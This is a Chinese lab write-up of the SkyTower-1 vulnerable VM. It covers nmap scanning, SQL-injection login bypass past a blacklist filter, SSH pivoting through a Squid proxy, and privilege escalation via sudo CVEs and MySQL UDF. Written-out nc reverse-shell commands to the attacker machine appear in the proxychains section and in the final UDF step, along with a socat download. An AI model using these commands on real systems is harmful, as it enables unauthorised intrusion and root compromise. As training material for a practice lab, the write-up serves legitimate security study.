欢迎光临散文网 会员登陆 & 注册

项目11:SkyTower-1(上)

2023-08-10 23:33 作者:沙漠里的鲸  | 我要投稿

##Nmap扫描

---靶机IP:192.168.95.157

---全端口扫描,开放22,80,3128

---注意:22端口是过滤状态:服务端将收到的 nmap SYN 报文直接丢弃,不进行应答, 由于 nmap 发送了两个 SYN ,都没有收到应答

----所以认定服务端开启了防火墙,将 SYN 报文丢弃

----sS是半开放扫描:在收到SYN/ACK后,不发送ACK应答而是发送RST包请求断开连接

---这样,三次握手就没有完成,无法建立正常的TCP连接,扫描就不会被记录到系统日志

---nmap扫描端口的状态

---Squid是一个单进程的异步代理缓存服务器,支持HTTP,FTP,GOPHER,ICP等协议

---通过配置,可以实现反向代理、透明代理的功能,并且支持缓存,是实现高性能网站的必备基础设施之一。通常部署在应用服务器的前端

---如果一个人想下载一web页面,他请求Squid为他取得这个页面

----思路:Web枚举用户信息 > SSH爆破

##Web信息收集

---访问80端口,发现一个登陆框

---思路:1.弱口令 2.SQL注入 3.爆破 4.strcmp绕过(需要用户名正确)

---这里是邮件登陆,没有信息也不好弱口令和爆破,先使用SQLmap

---使用SQLmap的表单注入

---发现不能够注入

----抓包分析,这里参数没有经过加密

---dirb扫描,去访问除了一张背景图,其它没有什么信息

---nikto扫描,发现了icons/README,/login.php,/#wp-config.php#三个目录

----但是icons/README没有什么信息,/#wp-config.php#需要登陆访问,突破点还是登陆页面

---回头分析登陆界面,如果存在WAF,会对登陆界面的POST传参进行过滤

---这也是SQLmap失败的原因,绕过方法:采用FUZZ测试是否存在注入点

----sql的FUZZ字典下载:

https://github.com/melbinkm/SQL-Injection-Payloads/blob/master/sqli_auth.list

---通过repeter模块,对于表单进行测试,发现这里存在SQL注入

---通过admin',发现MYSQL报错,说明存在注入,但是sqlmap失败说明存在过滤

---这里发现,应该是对于and  = 等特殊符号进行了过滤


---BurpSuite的intruder模块

  • 1:Target 用于配置目标服务器进行攻击的详细信息(IP/端口/http or https)

  • 2:Positions  设置Payloads的插入点以及攻击类型(攻击模式)

  • 3:Payloads  设置payload,配置字典

  • 4:Opetions   此选项卡包含了request headers,request engine,attack results ,grep match,grep_extrack,grep payloads和redirections。你可以发动攻击之前,在主要Intruder的UI上编辑这些选项,大部分设置也可以在攻击时对已在运行的窗口进行修改

---上面几个攻击模式:cluster bomb > pitchfork > battering ram > sniper(适合已知用户名)

---设置攻击模式为:Pitchfork,即存在2个字典,采用1:1,2:2,3:3的样子进行并行爆破

---如果是cluster bomb,则是:1:1,1:2,1:3,2:1,2:2,2:3,3:1,3:2,3:3进行交叉爆破

---Payload Opetions[Simple list]  该选项会根据选项1中Payload type的设置而改变

---生成的Payload进行编码、加密、截取等操作

---Payload Encoding 配置哪些有效载荷中的字符应该是URL编码的HTTP请求中的安全传输

---在payload处配置字典为简单字典,然后对字符进行URL编码

---点击Attack,根据返回的字节进行测试

---查看1838长度的返回包,这里获取到用户名和密码(只有一个用户和密码)

---如下:john@skytech.com ,john,hereisjohn

---这里的注入原理,因该是万能密码,即构造为真的查询条件,绕过

---同理,根据返回分析,对and、=字符过滤
----这里可以使用 || 符,替代and构建万能密码,利用成功返回了账号密码

---采用用户名和密码登陆,复制内容百度翻译,这里提示使用SSH进行登陆

---但是ssh端口是存在防火墙,所以需要通过3128端口进行代理访问

##代理转发技术

---方法1:proxychains ;方法2:proxytunnel

---Squid cache(简称为Squid)是流行最广的,使用最普遍的开源缓存代理服务器。squid的主要作用和应用场景有:

  • 用来做前置的Web缓存,加快用户访问Web的速度

  • 代理内网用户访问互联网资源

  • 设置访问控制策略,控制用户的上网行为

  • 主要支持http、ftp等应用协议

---正向代理和透明代理中的代理服务器和客户端同属一个LAN,对server端是透明的,

---服务器并不知道自己为谁提供服务,作用都是让内网用户可以通过代理服务器上互联网,

---也可以提高访问速度,并且可以通过代理服务器的访问控制限制内网用户的上网行为

---透明代理和正向代理的区别:不需要指明代理的IP和端口

---反向代理:反向代理的过程隐藏了真实的服务器,客户不知道真正提供服务的人是谁,客户端请求的服务都被代理服务器处理。反向代理代理的是响应方,也就是服务端

---可以起到负载均衡的作用,提高用户的访问速度

---应用场景

  • 正向和透明代理:一般用于公司内网用户访问互联网,根据需求进行访问控制

  • 反向代理:一般用于公司服务器集群前做web缓存,提高用户访问效率,同时可以起到负载均衡作用,为互联网提供可持续的web服务

#和NAT的区别

---1. SNAT(内网用户上外网)和DNAT(内网服务发布到公网)

  • 网络层次:网络层

    局域网用户访问外网走snat模式,同一个数据包,改变数据包头部的来源地址,再把数据包发到internet。

---2. 代理服务器模式

    网络层次:应用层

    不改变数据包头信息,把数据包代理给internet的服务器,基于应用层的过滤,应用层协议:http、ftp、pop、smtp、p2p  ;作用:缓存页面,加速访问,ACL资源访问

#1)方法1:proxychains代理

---ProxyChains可以使任何程序通过代理上网, 允许TCP和DNS通过代理隧道, 支持HTTP、 SOCKS4和SOCKS5类型的代理服务器,支持 Tor、HTTP、与 Socks 代理。与 sshuttle 不同的是,ProxyChains 只会将当前应用的 TCP 连接转发至代理,而非全局代理

---配置ProxyChains代理的配置文件

---配置http协议为192.168.95.157的3128端口

---通过proxychains ssh john@192.168.95.157登陆失败

---提示:资金已提取(对应之前的登陆情景,说需要SSH提取退休金)

---获取到Linux的内核3.2.0,以及x64的架构

---尝试进行ssh命令执行,发现可以执行命令

---如果不行可以尝试ssh-shellshock(前提是/bin/bash<=4.3):   '(){:;};/bin/bash'

---探测一下靶机安装了反弹shell的软件没有

--发现没有安装python,但是存在nc/perl等

---采用nc反弹Shell:

 proxychains ssh john@192.168.95.157 -t nc 192.168.95.152 6677 -e /bin/bash

---Kail监听,接受到shell

---但是靶机没有Python,没有办法进行pty(python -c 'import pty; pty.spawn("/bin/bash")')

#2)方法2:proxytunnel隧道代理

---proxytunnel是一款利用http connection封装技术建立隧道的工具

---使用条件:防火墙禁止DNS和ICMP隧道,只允许代理服务器上网的情景

---a监听本地的1234端口,通过代理192.168.95.157:3128,访问靶机本地的22端口

---然后Kail指定本地1234端口访问ssh

---注意:ssh登陆的是127.0.0.1的john账户

##一句话反弹shell的总结

---bash反弹

---awk反弹

---telnet反弹

---whois反弹(反弹的shell只能执行后面带的命令)

---nc反弹Shell

---mkfifo 命令的作用是创建FIFO特殊文件,通常也称为命名管道,FIFO文件在磁盘上没有数据块,仅用来标识内核中的一条通道,各进程可以打开FIFO文件进行read/write,

---实际上是在读写内核通道(根本原因在于FIFO文件结构体所指向的read、write函数和常规文件不一样),这样就实现了进程间通信

---socat反弹(没有python时建立Pty)

---exec:'bash -li',pty,stderr,setsid,sigint,sane:这部分是socat的参数

---bash -li,它表示要执行一个交互式的bash shell,其他参数的含义如下:

    • pty:分配一个伪终端,使得远程主机认为它正在与一个终端交互

    • stderr:将目标命令的标准错误重定向到连接

    • setsid:在执行命令时创建一个新的会话,有助于将命令与终端分离

    • sigint:允许通过发送 SIGINT 信号(例如按下 Ctrl+C)来中断目标命令

    • sane:在连接关闭时恢复终端的设置

---python反弹

---perl反弹

---php反弹

---Java反弹

---lua反弹shell( CentOS7默认已经安装了5.1.4)

---C语句反弹Shell(需要gcc -o)

---msfvenom 获取反弹一句话

---msfvenom -l 结合关键字过滤(如cmd/unix/reverse),找出我各类反弹一句话payload

---msfvenom -l payloads 'cmd/unix/reverse'

---反弹的一句话,注意:结尾是R

#Socat使用

---socat是强大易用的网络工具,可以实现任意socket的转换,可以看作是netcat的增强版

---socat 的主要特点:在两个数据流之间建立隧道;并且支持众多协议和链接方式(如:IP,TCP,UDP,IPv6,pipe,exec,system,open,proxy,openssl,socket等)

wget -q github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

---监听(注意,需要添加-)

---这里类似于进程间通信

---反弹shell

---端口转发:将本地88 端口的流量 转发到远程指定端口

---请求重定向到本地88 --> 监听本地 88 端口 --> 远程 8888 端口

---建立远程端口转发

---向本地88端口发送数据,结果目标主机会出现指定信息

---Kail下载socat(--no-check-certificate忽略https的证书验证)

---然后使用python开启http:python -m http.server 8081

---靶机下载socat,赋予执行权限,然后反弹shell到Kail的9999端口

  • HOME=/dev/shm:这部分设置了一个环境变量 HOME,将其值设置为 /dev/shm/dev/shm通常用于在内存中创建临时文件系统,可能是为了避免在磁盘上留下痕迹。在这里,它可能是为了隐藏与连接有关的活动

---通过socat建立一个稳定的反弹Shell(除了python的pty,只有这个方法)

---在Kail监听9999,并且执行:script -qc bash /dev/null(因该是bash的历史记录)

  • script:这是一个用于记录会话的命令。它会创建一个子 shell,记录用户在该子 shell 中执行的所有输入和输出,并将其保存到一个档案文件中。

  • -qc bash:这部分是  script 命令的参数。其中  -q 选项表示“安静模式”,即不在终端上显示会话的开始和结束消息。 -c bash 指定要在会话中运行的命令,这里是启动一个交互式的 Bash shell

  • /dev/null:这是一个特殊的文件,表示一个空设备文件,会将所有写入其中的数据立即丢弃。在这个命令中,它被用作  script 命令的输出文件,表示会话的输出将被丢弃

---当然,也可以使用socat进行tcp监听

#WAF分析

---前面报错的时候提示了:Funds have been withdrawn

---通过grep的-r进行递归搜索关键字,-n显示行数,找到关于SSH报错的文件

---查看   .bashrc的权限,发现就是john用户的文件,并且具有写权限

---cat .bashrc(Bash shell 配置文件,通常位于用户的主目录下的  .bashrc 文件中)

---该文件定义了一些设置、别名和命令,以自定义用户在命令行中的工作环境和体验

---总的来说,在.bashrc里面存在2处异常,1是对于交互shell的检测,2echo后exit退出Shell

---如果是交互Shell就,执行echo并且退出SHELL;不是交互shell,就直接退出脚本

---思路:删除.bashrc ; 重命名;重写删除内容 ; 替换内容

---重命名,然后使用SSH再登陆一次就可以了

---将exit替换成echo,-i  直接修改文件

---s 表示替换操作的开始,exit 是要查找的内容,echo 是替换的内容,

---g 表示全局替换,即一行中的所有匹配都会被替换

---或者从用户的  .bashrc 文件中移除最后三行内容,然后将结果覆盖回同一文

---小技巧:每五分钟回弹一个shell(有时候Shell会莫名其妙的断)

#提权信息收集

---本地开启了3306端口(只允许本地访问),因该可以进行UDF提权

---查看系统内核的版本、系统架构以及发行版本

---上传linpeas.sh脚本,chmod赋予执行权限,然后运行

---这里MySQL和cron是root权限

---这里是Apache的解析

---这里的 <FilesMatch> 块用于匹配特定文件扩展名(.php.php3.php4.php5.phtml.ptml)的文件

---<FilesMatch ".+\.phps$">对以  .phps 结尾的文件进行特定的处理

---允许远程SSH的root账户登陆

---这里没有枚举到数据库用户的信息

---LinEnum 是一个高级 Bash 脚本,它从目标系统中提取了大量有用的信息,可以复制文件并进行导出,同时可以搜索包含关键字的文件

---项目地址:https://github.com/rebootuser/LinEnum

---通过ARP地址解析,发行Kail连接过LInu环境

---这里发行sudo的版本和MySql的版本

---Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞

---Sudo属于[1.8.2  - 1.8.31]U[1.9.0 - 1.9.5]存在 CVE-2021-3156 漏洞(需要exploit

---Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞

---发现test用户可以执行SUDO

---这里也没有枚举到数据库密码信息

---进入/var/www目录下,查看登陆页面:login.php

---具体代码如下,发现Mysql的密码是:root/root

---以及SQL注入防范的方式是黑名单注入

##MYSQL信息枚举及提权

---登陆login的数据库查看用户信息,但是由于之前信息枚举时

---从用户组看,没有用户存在Sudo权限

---但是,一下用户可能设置了SUDO,可以通过/etc/sudoers设置sudo权限

---查看是否具有导入导出文件的权限,发现可以进行UDF提权(等会再测试)

---查看当前用户的sudo权限和所有用户的sudoers

---这里因该是在/etc/sudoers里面设置

  • test:这是一个用户名,表示允许 "test" 用户执行 sudo 命令。

  • ALL=(ALL, !root):这部分是 sudoers 文件中的规则,它有两部分:

    • 第一个  ALL:表示允许在任何主机上执行命令。

    • 第二个  (ALL, !root):表示在任何用户身份下(ALL)执行命令,但是排除了 "root" 用户(!root)的

  • ALL:最后一个 "ALL" 表示允许执行所有命令

---即允许 "test" 用户以任何用户身份(除了 "root" 用户)在任何主机上执行所有的命令

---尝试使用数据库里面的用户登陆

---注意:第一次需要将.bashrc给重命名,然后第二次登陆

---查看当前用户的sudo设置

---/bin/cat /accounts/*是允许cat /accounts/目录下任意文件

---/bin/ls /accounts/*是允许 ls /accounts目录下任意文件

---这里的话,是不能进行提权的,但是可以通过../../../../查看root目录下的文件

---通过flag获取到root的,而之前在Ssh的配置文件允许rootSSH登陆:PermitRootLogin yes

---补充UDF提权:

----查看Mysql版本:dpkg -l | grep mysql

---查看mysql是否具有root:ps aux | grep root|grep mysql

---在Mysql里面查看用户登陆:select Host,User,Password from mysql.user;

---在内网里面,可以通过Mysql.user表获取IP地址进行横向移动

---也可以对密码进行破解(这里直接说明了web的数据库用户就是SSH)

---在谷歌搜索:MySQL 5.x udf exploit

---查看EDB-ID:1518,发现系统执行的函数是do_sysyem()

---也可以在kail进行本地搜索

---也可以使用msf的mysqludf提权的so文件(sqlmap也可以进行UDF提权但是一般不用)

---这里发现,Winddows和Linux的关于x86和x64的包(靶机是X64的,但是选X86的也兼容)

  • sys_eval,执行任意命令,并将输出返回

  • sys_exec,执行任意命令,并将退出码返回

  • sys_get,获取一个环境变量

  • sys_set,创建或修改一个环境变量

---注意,靶机上没有gcc /cc /g++,所以只能先编译成so文件然后上传

---尝试在Kail里面编译链接成so文件,再上传

---查看插件的位置(区分global variables):show variables like '%plugin%';

---发现在:/usr/lib/mysql/plugin/

---在mysql数据库里面创建一个名为huangbo的表,表的列的数据类型为:Longblob

---Mysql的四种blob(存储二进制):tinyblob;  blob;  mediumblob;  longblob

---将so文件插入huangbo表:insert into huangbo values(load_file('/tmp/udf_1518.so'));

---然后将huangbo表的数据,导出到/usr/lib/mysql/plugin/目录下的so文件

---但是这里报错了,用户存在写入权限

---注意:不一定secure_file_pri满足就可以UDF提权

---但是mysql的权限是root用户

##知识点总结

---1.Nmap主机发现、端口扫描(SYN > SYN/ACK >RST)、版本扫描

---2.Squid代理:正向代理、透明代理(和客户机同网段,内网访问外网)、反向代理(服务端网段)

---3.Burp抓包测试SQL注入,sqlmap测试、burp的intruder万能密码字典FUZZ获取密码

---4.通过proxychains和proxytunnel(监听本地端口,转发到靶机squid)进行代理转发

---5.ssh登陆进行命令执行,查询ssh的配置文件:/home/用户名/.bashrc(配置SSH和shell)

---6.反弹shell:bash、exec、awk、telent、whois、nc、socat

---7.脚本语言反弹shell:python、perl、java、php、c、msfvenom -l payloads 'cmd/unix/reverse'

---8.伪shell的提升:pty;stty(安装python);socat(下载脚本)

---9.通过脚本收集信息,获取数据库密码,分析登陆界面的防止SQL注入的黑名单

---10.msyql信息收集,mysql.user表获取用户IP地址内网横向,获取其它用户的SSH密码,探测不同账户的sudo -l尝试提权

---11.通过sduo -l获取sudo的命令:cat、ls,通过../../root/flag.txt进行访问获取root密码

---12.uDF提权的exp的三种获取(谷歌、searchexploit、msf的lib_mysqludf)

---13.sudo系统漏洞提权(Sudo<1.8.28版本,存在 CVE-2019-14287 漏洞)

以及(Sudo属于[1.8.2  - 1.8.31]U[1.9.0 - 1.9.5]存在 CVE-2021-3156 漏洞(需要exploit))

---14.UDF的提权步骤:1.查询global variables like '%secure%'和variables like '%plugin%'  2.获取exp的命令执行函数 3.在mysql里面创建一个表(line longblob) 4.通过load_file('/tmp/dayu.so')将so文件转换为二进制数据,然后通过 insert dayu into values()插入 5.将mysql.dayu通过 select * from dayu获取插入的数据,然后通过into dumpfile ‘/usr/lib/mysql/plugin/dayu.so'导出到插件目录 6.根据插件的so文件,创建函数

  • CREATE FUNCTION do_system RETURNS INTEGER:这部分声明了要创建一个名为 "do_system" 的函数,函数的返回类型是整数(INTEGER)。

  • SONAME 'dayu.so':这部分表示将函数链接到一个共享库文件。共享库的文件名是 'dayu.so'

7.查询mysql.func表,发现do_system函数被创建 8.select do_system('nc IP:端口 -e /bin/bash')反弹root到Kail


项目11:SkyTower-1(上)的评论 (共 条)

分享到微博请遵守国家法律